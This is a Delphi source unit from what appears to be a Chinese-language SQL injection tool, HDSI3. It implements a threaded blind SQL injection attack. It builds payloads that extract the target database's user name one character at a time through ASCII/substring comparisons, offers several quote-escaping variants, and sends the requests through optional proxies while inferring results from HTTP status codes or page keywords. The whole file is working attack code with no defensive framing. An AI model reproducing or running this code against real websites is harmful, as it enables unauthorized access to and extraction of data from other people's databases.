threaddbuser.pas

sql inject HDSI3--delphi.rar

unit ThreadDBUser;

interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,IdHTTP;

  type
  TThreadDBUser = class(TThread)
  function UserlenA(max_num:integer;str_url:string;iPos:integer;sContent:string;btype:integer):boolean;
  function UserCharLenB(min_num,max_num:integer;iPos:integer;URL:string;sContent:string):integer;
  function GetURL(URL: string): integer;
  private
  published
  procedure Execute; override;
  public

    FURL          : String; //URL
    FProxy        : String;
    complete       : Boolean;  //是否下载完毕
    min_num       : integer;   //最小值
    max_num       : integer;  //最大值
    iTop          : integer;  //表的位置
    iPos          : integer;  //字符的位置
    sContent      : string;   //页面内容
    sResult       :string;
  end;

implementation
uses
main_unit,CJdatabase_unit,define_unit;
//******************************************************************************
procedure TThreadDBUser.Execute;
var
    ss:string;
    i:integer;
    count:integer;
    label start;
begin
    //sleep(1000);
    complete:=false;
    start:
    i:=UserCharLenB(min_num,max_num,iPos,FURL,sContent);
    if i=0 then
      begin
        count:=count+1;
        if count<=5 then
        begin
          //sleep(1000);
          goto start;
        end;
        {if  application.Messagebox(pchar('暴力猜解字符时出现异常,是否重猜？'),pchar('警告'),MB_YESNO) = IDYES then
          goto start;}
      end;
    ss:=chr(i);
    sResult:=ss;
    complete:=true;
    Form_main.Edit1.Text:=inttostr(strtoint(Form_main.Edit1.Text)+1);
end;
 //******************************************************************************




//******************************************************************************
//暴力破解的函数
function TThreadDBUser.UserlenA(max_num:integer;str_url:string;iPos:integer;sContent:string;btype:integer):boolean;
var
  str_ext:string;
  URL:string;
  iCode:integer;
  content:string;
  label start;
begin
  //*****************
  result:=false;

 { case btype of
  1:  begin
      //Form_main.Edit1.Text:=inttostr(strtoint(Form_main.Edit1.Text)+1);
        str_ext:=' and (select len(user))<'+inttostr(max_num);
        case CJdatabase_unit.Inject_methord of
            0 :
              begin
                Application.MessageBox(pchar('未知的注入方式,不能进行'),pchar('警告'),mb_ok);
                exit;
              end;
            1 :
               URL:=str_ext;
            2 :
              URL:=''' '+str_ext+' and ''''=''';
            3 :
              URL:='%'' '+str_ext+' and ''%''=''';
        end;
      end;  }
  //2:  begin
      //Form_main.Edit3.Text:=inttostr(strtoint(Form_main.Edit3.Text)+1);
        str_ext:=' and (select ascii(substring(user,'+inttostr(iPos)+',1)))<'+inttostr(max_num);
        case CJdatabase_unit.Inject_methord of
            0 :
              begin
                Application.MessageBox(pchar('未知的注入方式,不能进行'),pchar('警告'),mb_ok);
                exit;
              end;
            1 :
               URL:=str_ext;
            2 :
              URL:=''' '+str_ext+' and ''''=''';
            3 :
              URL:='%'' '+str_ext+' and ''%''=''';
        end;
     // end;
 // end;
  //*****************
  URL:=define_unit.SQLINJECTIONUrlToHex(URL,0);
  //if GetContent(str_url+URL)=sContent then

  if Form_main.CheckBox_keyword.Checked=true then
  begin
      content:=define_unit.GetURLContent(str_url+URL);
      if pos(trim(Form_main.Edit_keyword.Text),content)>0 then
          result:=true
      else
          result:=false;
  end
  else
    begin
        start:
        icode:=GetURL(str_url+URL);
        if icode=200 then
          result:=true
        else
          begin
          if icode= 500 then
              result:=false
          else
                begin
                  //sleep(1000);
                  goto start;
                end;
          end;
    end;
end;
//*****************************************************************************
//******************************************************************************
//暴力破解用的函数
function TThreadDBUser.UserCharLenB(min_num,max_num:integer;iPos:integer;URL:string;sContent:string):integer;
var
  i:integer;
  middle:integer;
begin
    result:=0;
     for i:=min_num to max_num do
     begin
      //sleep(1000);
      //停止扫描
      if Form_main.stop_check=true then
      begin
        result:=1;
        exit;
      end;
        if max_num-min_num<=2 then
            break;
        middle:=((max_num-min_num) div 2)+min_num;
        if UserlenA(middle,URL,iPos,sContent,2) then  //如果小于max，就继续缩小max的范围
        begin
          max_num:=middle;
        end
          else     //如果不小于max，就把min的范围扩大
            begin
              min_num:=middle;
            end;

     end;

     for i:=min_num+1 to max_num do
     begin
        //停止扫描
        if Form_main.stop_check=true then
        begin
          result:=1;
          exit;
        end;
        if UserlenA(i,URL,iPos,sContent,2) then
        begin
          result:=i-1;
          break;
        end;
     end ;

end;
//******************************************************************************
function TThreadDBUser.GetURL(URL: string): integer;
   var
  IdHTTP: TIDHttp;
  ss: string;
begin

  try
    try
      IdHTTP := TIDHttp.Create(nil);
      if Form_main.proxy_check then
      begin
        IdHTTP.ProxyParams.ProxyServer:=form_main.str_Host;
        IdHTTP.ProxyParams.ProxyPort:=strtoint(form_main.str_Port);
        IdHTTP.ProxyParams.ProxyUsername:=form_main.str_Zh;
        IdHTTP.ProxyParams.ProxyPassword:=form_main.str_Mm;
      end;
      IdHTTP.HandleRedirects := true; //必须支持重定向否则可能出错
      IdHTTP.ReadTimeout := TimeOut; //超过这个时间则不再访问
      //ss := IdHTTP.Get(URL);
      IdHTTP.Head(URL);
      except
     //on E: Exception do
      // Application.MessageBox(pchar('出现异常，操作终止！'+#10#13+E.Message),'提示',mb_ok+mb_iconinformation);
    end;
  finally
  Form_main.ProgressBar.Position:=0;
  Form_main.ProgressBar.Position:=30;
  Form_main.ProgressBar.Position:=60;
  Form_main.ProgressBar.Position:=100;
  result:=IdHTTP.ResponseCode;
  IdHTTP.Free;
  end;
  
end;


end.